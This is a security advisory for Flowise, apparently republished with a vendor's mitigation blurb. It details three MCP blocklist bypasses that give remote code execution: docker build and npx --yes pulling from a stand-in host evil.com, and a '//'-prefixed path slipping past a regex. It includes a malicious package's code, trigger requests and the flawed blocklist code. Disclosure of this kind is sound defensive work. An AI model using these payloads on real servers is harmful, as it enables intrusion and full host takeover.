GHSA-m99r-2hxc-cp3q
Flowise has an MCP Security Bypass that Enables RCE
Blast Radius
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flowisenpmflowise-componentsnpmDescription
Summary
There are three bypass methods for the security limitations of the Flowise MCP feature, and attackers can execute arbitrary commands by combining these three methods
Details
【Vulnerability one】The Docker build subcommand not being on the blocklist leads to remote code execution
The attacker configures the interface through the MCP tool to provide {"command":"docker","args":["build","https://evil.com/"]} as the Custom MCP Server configuration → Bypass the validateCommandFlags docker blocklist (only blocks run/exec/-v/--volume, etc., but does not block build) → docker build <remote-URL> will pull the Dockerfile from the remote address and execute the RUN instructions within it → Allows attackers to escape from Docker through methods such as mounting, thereby gaining full control of the Flowise host machine
Precondition:
- Have a Flowise account (any role, including regular users) or an API with view&update permissions for chatflows
- The deployment environment has the docker command
Vulnerable function - validateCommandFlags:
file: packages/components/nodes/tools/MCP/core.ts:260-310
const COMMAND_FLAG_BLACKLIST: Record<string, string[]> = {
docker: [
'run', 'exec', '-v', '--volume', '--privileged', '--cap-add',
'--security-opt', '--network', '--pid', '--ipc'
// 'build', 'pull', 'push', 'cp', 'commit' are not on the blocklist
],
npx: ['-c', '--call', '--shell-auto-fallback', '-y'],
npm: ['run', 'exec', 'install', '--prefix', '-g', '--global', 'publish', 'adduser', 'login'],
// ...
}
export function validateCommandFlags(command: string, args: string[]): ValidationResult {
const blacklist = COMMAND_FLAG_BLACKLIST[command] || []
for (const arg of args) {
if (blacklist.includes(arg)) {
return { valid: false, error: `Argument '${arg}' is not allowed for command '${command}'` }
}
}
return { valid: true }
}
Reproduction process:
Add MCP config via UI or API interface, for example:
<img width="1280" height="414" alt="2f0b6dfad5458616781921e1c28339d0" src="https://github.com/user-attachments/assets/6c8419c5-6261-46bb-8a30-3ac1ec3fb599" />Then execute:
POST /api/v1/prediction/{chatflows_id} HTTP/1.1
Host: 127.0.0.1:3000
Content-Type: application/json
Authorization: Bearer apikey
Content-Length: 17
{"question": "1"}
After execution, the command can be triggered to execute docker build http://evil.com
<img width="1280" height="319" alt="f98e1d91428be6077ac6cf0472285f17" src="https://github.com/user-attachments/assets/856d46b4-7949-4091-bed9-a7c3fecc62f0" />If a privileged container is deployed, then it can fully control the Flowise host machine
【Vulnerability two】 npx --yes long parameter alias bypassing blocklist leads to remote code execution
The attacker configures the MCP tool to provide {"command":"npx","args":["--yes","malicious-package"]} → validateCommandFlags npx blocklist only contains short parameter -y, and does not block long parameter alias --yes → npx --yes malicious-package automatically agrees to install and execute any npm package → Leads to remote code execution (RCE) on the server
Precondition:
- Have a Flowise account (any role, including regular users) or an API with view&update permissions for chatflows
- The deployment environment has the npx command
npx blocklist:
file: packages/components/nodes/tools/MCP/core.ts:270-280
npx: ['-c', '--call', '--shell-auto-fallback', '-y'],
// Only the short parameter -y is present, without the long parameter alias --yes
Reproduction process: Add MCP config via UI or API interface, for example:
<img width="1910" height="690" alt="85ea14ea224df9ed501827dfa47afb09" src="https://github.com/user-attachments/assets/8f3a2299-5460-4d23-b113-79ba4a9e52b6" />{
"command": "npx",
"args":["--yes", "http://evil.com/FileName.tar"]
}
Contents of the tar file:
// index.js
#!/usr/bin/env node
const http = require('http');
const { execSync } = require('child_process');
const result = execSync('id && hostname').toString().trim();
console.error('[MCP-RCE-002] npx --yes bypass: ' + result);
// package.json
{
"name": "attacker-mcp-pkg",
"version": "1.0.0",
"bin": {
"attacker-mcp-pkg": "./index.js"
},
"scripts": {
"postinstall": ""
}
}
Then execute:
POST /api/v1/prediction/{chatflows_id} HTTP/1.1
Host: 127.0.0.1:3000
Content-Type: application/json
Authorization: Bearer apikey
Content-Length: 17
{"question": "1"}
can trigger the vulnerability, execute the attacker's commands, and achieve RCE:
<img width="3026" height="256" alt="4c466067deb4606a38e4b73806661328" src="https://github.com/user-attachments/assets/e9821e3f-bda4-4c6a-bcd1-0b19053045c9" />node command bypassing local file restrictions leads to remote code execution
When configuring the CustomMCP node, the attacker provides {"command":"node","args":["local file"]} → Bypass the security restrictions of validateArgsForLocalFileAccess → Node process loads local files and executes arbitrary code → RCE
Precondition: Have a Flowise account
Analysis of Vulnerable Code:
// packages/components/nodes/tools/MCP/core.ts:177-220
export const validateArgsForLocalFileAccess = (args: string[]): void => {
const dangerousPatterns = [
// Absolute paths
/^\/[^/]/, // Unix absolute paths starting with /
/^[a-zA-Z]:\\/, // Windows absolute paths like C:\
// Relative paths that could escape current directory
/\.\.\//, // Parent directory traversal with ../
/\.\.\\/, // Parent directory traversal with ..\
/^\.\./, // Starting with ..
// Local file access patterns
/^\.\//, // Current directory with ./
/^~\//, // Home directory with ~/
/^file:\/\//, // File protocol
// Common file extensions that shouldn't be accessed
/\.(exe|bat|cmd|sh|ps1|vbs|scr|com|pif|dll|sys)$/i,
// File flags and options that could access local files
/^--?(?:file|input|output|config|load|save|import|export|read|write)=/i,
/^--?(?:file|input|output|config|load|save|import|export|read|write)$/i
]
The above are the main restrictions imposed by the validateArgsForLocalFileAccess function, and it can be found that the regular expression "/^/[^/]/" has a matching issue
As the comment says, this regular expression essentially detects whether it is a Unix absolute path, which matches /etc/passwd but does not match //etc/passwd (the second character is '/')
<img width="1280" height="570" alt="ea354264cbb2ace6a3a6a16e00f1d298" src="https://github.com/user-attachments/assets/9ca88790-77ea-4d42-8910-09e4453f981a" />Therefore, the limitation of this function can be bypassed by starting with //
** Reproduction process: **
Create a new chatflow as follows:
<img width="1280" height="716" alt="7e884613b5897509b39467f8f3b7aae1" src="https://github.com/user-attachments/assets/478c7a89-4e77-4a5d-b063-de16cb640f92" />After saving, cmd.js will be uploaded to the ~/.flowise/storage/{orgId}/{chatflow_id}/ directory
orgId can be obtained during login, and chatflow_id will also be returned when saving chatflow:
<img width="1280" height="702" alt="48b5ab8412babba312f502be5db1dad3" src="https://github.com/user-attachments/assets/090292cf-6361-43cd-91d7-eec6e578255b" />For example:
~/.flowise/storage/d2312f99-9043-413a-a1d2-3b7685a132b2/f8cc7f34-a1e5-4180-940a-47306d32adc2/cmd.js
Since paths like ~/ are restricted, and an absolute path needs to be obtained, use the following method:
<img width="1280" height="716" alt="990e1c81ed3957c5ae823e55efec15a5" src="https://github.com/user-attachments/assets/02c2a949-559a-4ee4-9675-c50a203d1e99" />POST /api/v1/export-import/import HTTP/1.1
Host: 127.0.0.1:3000
Content-Type: application/json
x-request-from: internal
Cookie: cookie
Connection: keep-alive
Content-Length: 479
{
"ChatMessage": [
{
"id": "11111111-2222-4333-8444-555555555555",
"role": "userMessage",
"chatflowid": "{chatflow_id}",
"content": "seed for home path test",
"chatType": "EXTERNAL",
"chatId": "audit-home-001",
"createdDate": "2026-03-04T06:40:00.000Z",
"fileUploads": "[{\"type\":\"stored-file\",\"name\":\"poc.txt\",\"mime\":\"text/plain\"}]"
}
]
}
<img width="1280" height="748" alt="d7f947940f4e6b6e95a61bcc301c25c0" src="https://github.com/user-attachments/assets/482fb78c-dbc8-4a0d-a042-4c993e976f10" />
POST /api/v1/export-import/chatflow-messages HTTP/1.1
Host: 127.0.0.1:3000
Content-Type: application/json
x-request-from: internal
Cookie: cookie
Connection: keep-alive
Content-Length: 57
{"chatflowId":"{chatflow_id}"}
After obtaining the absolute path, simply modify the path in args to the path of the file name:
{
"command": "node",
"args": ["//root/.flowise/storage/d2312f99-9043-413a-a1d2-3b7685a132b2/f8cc7f34-a1e5-4180-940a-47306d32adc2/cmd.js"]
}
After saving, execution will trigger RCE
POST /api/v1/prediction/{chatflows_id} HTTP/1.1
Host: 127.0.0.1:3000
Content-Type: application/json
Authorization: Bearer apikey
Content-Length: 17
{"question": "1"}
Impact
This vulnerability allows attackers to execute arbitrary commands on the Flowise server .
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 📦npm | flowise | all versions | 3.1.2 |
| 📦npm | flowise-components | all versions | 3.1.2 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for flowise. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.
Fix
Update flowise to 3.1.2 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-m99r-2hxc-cp3q is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 pinpoints whether GHSA-m99r-2hxc-cp3q is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.
Tailored to GHSA-m99r-2hxc-cp3q. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-m99r-2hxc-cp3q in your dependencies?
O3 detects GHSA-m99r-2hxc-cp3q across npm dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.